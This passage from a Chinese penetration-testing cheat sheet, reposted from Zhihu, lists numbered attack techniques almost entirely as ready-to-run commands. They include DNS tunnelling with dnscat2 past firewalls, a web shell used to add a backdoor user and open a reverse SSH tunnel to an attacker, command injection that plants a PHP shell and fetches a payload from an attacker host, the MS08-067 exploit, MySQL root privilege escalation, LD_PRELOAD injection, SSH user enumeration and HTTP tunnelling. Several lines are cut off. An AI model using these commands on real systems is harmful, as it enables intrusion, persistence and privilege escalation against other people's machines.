// 让数据和命令使用 DNS 隧道传输以绕过防火墙的检查// dnscat2 支持从目标主机上面上传和下载命令来获取文件、数据和程序// 服务器 (攻击者)$ apt-get update$ apt-get -y install ruby-dev git make g++$ gem install bundler$ git clone https://github.com/iagox86/dnscat2.git$ cd dnscat2/server$ bundle install$ ruby ./dnscat2.rbdnscat2> New session established: 16059dnscat2> session -i 16059// 客户机 (目标)// https://downloads.skullsecurity.org/dnscat2/// https://github.com/lukebaggett/dnscat2-powershell$ dnscat --host <dnscat server_ip

64.编译 Assemble 代码

$ nasm -f elf32 simple32.asm -o simple32.o$ ld -m elf_i386 simple32.o simple32$ nasm -f elf64 simple.asm -o simple.o$ ld simple.o -o simple

65.使用非交互 Shell 打入内网

// 生成 shell 使用的 ssh 密钥$ wget -O - -q "http://domain.tk/sh.php?cmd=whoami"$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N \"\" "$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa"// 增加用户 tempuser 
$ useradd -m tempuser$ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh$ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys$ chmod 700 /home/tempuser/.ssh/authorized_keys$ chown -R tempuser:tempuser /home/tempuser/.ssh// 反弹 ssh shell$ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f [email protected]<attacker_ip>

66.利用 POST 远程命令执行获取 Shell

attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php'attacker:~$ curl -i -s -k  -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php'attacker:~$ curl http://victum.tk/shell.php?cmd=id// 在服务器上下载 shell (phpshell.php)http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27// 运行 nc 并执行 phpshell.phpattacker:~$ nc -nvlp 

67.MS08-067 – 不使用 Metasploit

$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205$ searchsploit ms08-067$ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1

68.通过 MySQL Root 账户实现提权

# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu)$ wget 0xdeadbeef.info/exploits/raptor_udf2.c$ gcc -g -c raptor_udf2.c$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lcmysql -u root -pmysql> use mysql;mysql> create table foo(line blob);mysql> insert into foo values(load_file('/home/user/raptor_udf2.so'));mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';mysql> create function do_system returns integer soname 'raptor_udf2.so';mysql> select * from mysql.func;mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');user:~$ su -Password:user:~# whoamirootroot:~# iduid=0(root) gid=0(root) groups=0(root)

69.使用 LD_PRELOAD 注入程序

拓展学习《【Linux】LD_PRELOAD用法》:blog.csdn.net/iEearth/a

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c$ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so$ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft

70.针对 OpenSSH 用户进行枚举时序攻击

枚举时序攻击(“Enumeration Timing Attack”)属于侧信道攻击/旁路攻击(Side Channel Attack),侧信道攻击是指利用信道外的信息,比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行攻击的方式,一个词形容就是“旁敲侧击”。

osueta 是一个用于对 OpenSSH 进行时序攻击的 python2 脚本,其可以利用时序攻击枚举 OpenSSH 用户名,并在一定条件下可以对 OpenSSH 服务器进行 DOS 攻击。

// 项目地址:https://github.com/c0r3dump3d/osueta$ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes$ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt

71.使用 ReDuh 构造合法的 HTTP 请求以建立 TCP 通道

ReDuh 是一个通过 HTTP 协议建立隧道传输各种其他数据的工具。其可以把内网服务器的端口通过 http/https 隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

项目地址:github.com/sensepost/re

// 步骤 1// 上传 reDuh.jsp 目标服务器$ http://192.168.10.50/uploads/reDuh.jsp// 步骤 2// 在本机运行 reDuhClient 
$ java -jar reDuhClient.jar http://192.168.10.50/uploads/reDuh.jsp// 步骤 3// 使用 nc 连接管理端口$ nc -nvv 127.0.0.1 1010// 步骤 4// 使用隧道转发本地端口到远程目标端口[createTunnel] 7777:172.16.0.4:3389// 步骤 5// 使用 RDP 连接远程$ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7

文章转自https://zhuanlan.zhihu.com/p/139317055

侵权联系删除

侵权请私聊公众号删文

 热文推荐  

欢迎关注LemonSec
觉得不错点个“赞”、“在看“

文章来源: http://mp.weixin.qq.com/s?__biz=MzUyMTA0MjQ4NA==&mid=2247544891&idx=2&sn=4ece772185019d8d81e4d06ca5bf96d9&chksm=f9e35f60ce94d676e3f90715977b08f3cbb59c144f172c91b81422249e2669f68c55763d49d2#rd
如有侵权请联系:admin#unsafe.sh